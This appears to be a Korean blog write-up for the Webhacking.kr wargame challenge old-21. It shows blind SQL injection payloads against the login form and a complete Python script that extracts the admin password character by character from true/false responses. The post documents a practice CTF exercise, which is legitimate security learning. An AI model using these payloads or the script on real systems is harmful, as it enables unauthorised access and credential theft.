Old-21 Domain & Tool
- 구분 : Blind SQL Injection
- 문제풀이에 사용된 도구
- Chrome 103.0.5060.66
- python Module(Requests, beautrifulsoup)
Old-21 Question & Answer
대놓고 BLIND SQL Injection문제라고 되어있다. 의례 모든 홈페이지가 그렇듯 이곳에서도 guest/guest의 id/pw쌍이 있다.
그리고 느낌상으로 admin으로 접속해야한다는것을 알겠으니, 틀리더라도 admin/123(잘못된 패스워드)로 접근해보자.
일단 틀렸을때의 결과는 login fail인거 같다. 그럼 당연한 질문을 database에 던져보자 get 방식이니 url로 파라미터를 전달해보자
- id=admin&pw=1' or 1=1--%20
다음의 결과이다. 즉 참이면 "wrong password"를 뱉고, 거짓이면 "login fail"을 뱉는 blind SQL injection이다. pw의 길이를 알아내는것도 좋지만, guest도 있고 나중에 시도로 알아서 나오겠지만 언더바(_, SQL에서 와일드카드로 쓰읜다)가 패스워드에 있어서 다음의 SQL Injection query문으로 python 돌렸다.
- id=admin&pw=123'or 1=if(id like "admin" and pw like "{pw_check}%",1,0)-- "
실제로 코드에서는 모든 문자가 urlencode되어있다는것을 참고하기를 바란다. 추가로 언더바(_) 처리를 하기 위한 codlet도 함수 ret_next_pw에 마지막부분에 들어있다는것을 참고하자
from requests import get
from bs4 import *
import string
import copy
def ret_next_pw(pw) :
next_item = list()
url = "https://webhacking.kr/challenge/bonus-1/index.php?id=admin&"
string_value = string.ascii_lowercase+string.digits+string.punctuation
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
cookie = {"PHPSESSID":"/자신의 PHPSESSID/" }
true_text= "wrong password"
false_text= "login fail"
for s in range(33,128) :
if(chr(s)=="_") :
continue
param = "pw=123%27or%201=if(id%20like%20%22admin%22%20and%20pw%20like%20\""+pw+chr(s)+"%25\",1,0)--%20"
new_url = url+param
res = get(new_url, headers=header, cookies=cookie)
soup = BeautifulSoup(res.content,"html.parser")
if(true_text in soup.text) :
if(chr(s).lower() in next_item or chr(s).upper() in next_item) :
continue
next_item.append(chr(s))
if(len(next_item)==0) :
param = "pw=123%27or%201=if(id%20like%20%22admin%22%20and%20pw%20like%20\""+pw+"_"+"%25\",1,0)--%20"
new_url = url+param
res = get(new_url, headers=header, cookies=cookie)
soup = BeautifulSoup(res.content,"html.parser")
if(true_text in soup.text) :
next_item.append("_")
return next_item
if __name__=="__main__" :
pw_answer = [""]
confirmed_pw_list = [""]
cur_list = list()
pw_answer = pw_answer+cur_list
stop_flag=False
while(stop_flag==False) :
print(pw_answer)
stop_flag=True
copy_answer = copy.deepcopy(pw_answer)
for item in copy_answer :
cur_list = ret_next_pw(item)
if(len(cur_list)!=0) :
stop_flag = False
for c in cur_list :
pw_answer.append(item+c)
pw_answer.remove(item)
else :
confirmed_pw_list.append(item)
pw_answer.remove(item)
print("\n### END BLIND SQL INJECTION ###")
print("PW :",confirmed_pw_list)
결과로 나온값이 admin의 pw이다. NICE!
'WarGame > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-23 Answer (0) | 2022.07.27 |
---|---|
[Webhacking.kr] old-22 Answer (0) | 2022.07.27 |
[Webhacking.kr] old-20 Answer (0) | 2022.07.22 |
[Webhacking.kr] old-19 Answer (0) | 2022.07.22 |
[Webhacking.kr] old-18 Answer (0) | 2022.07.22 |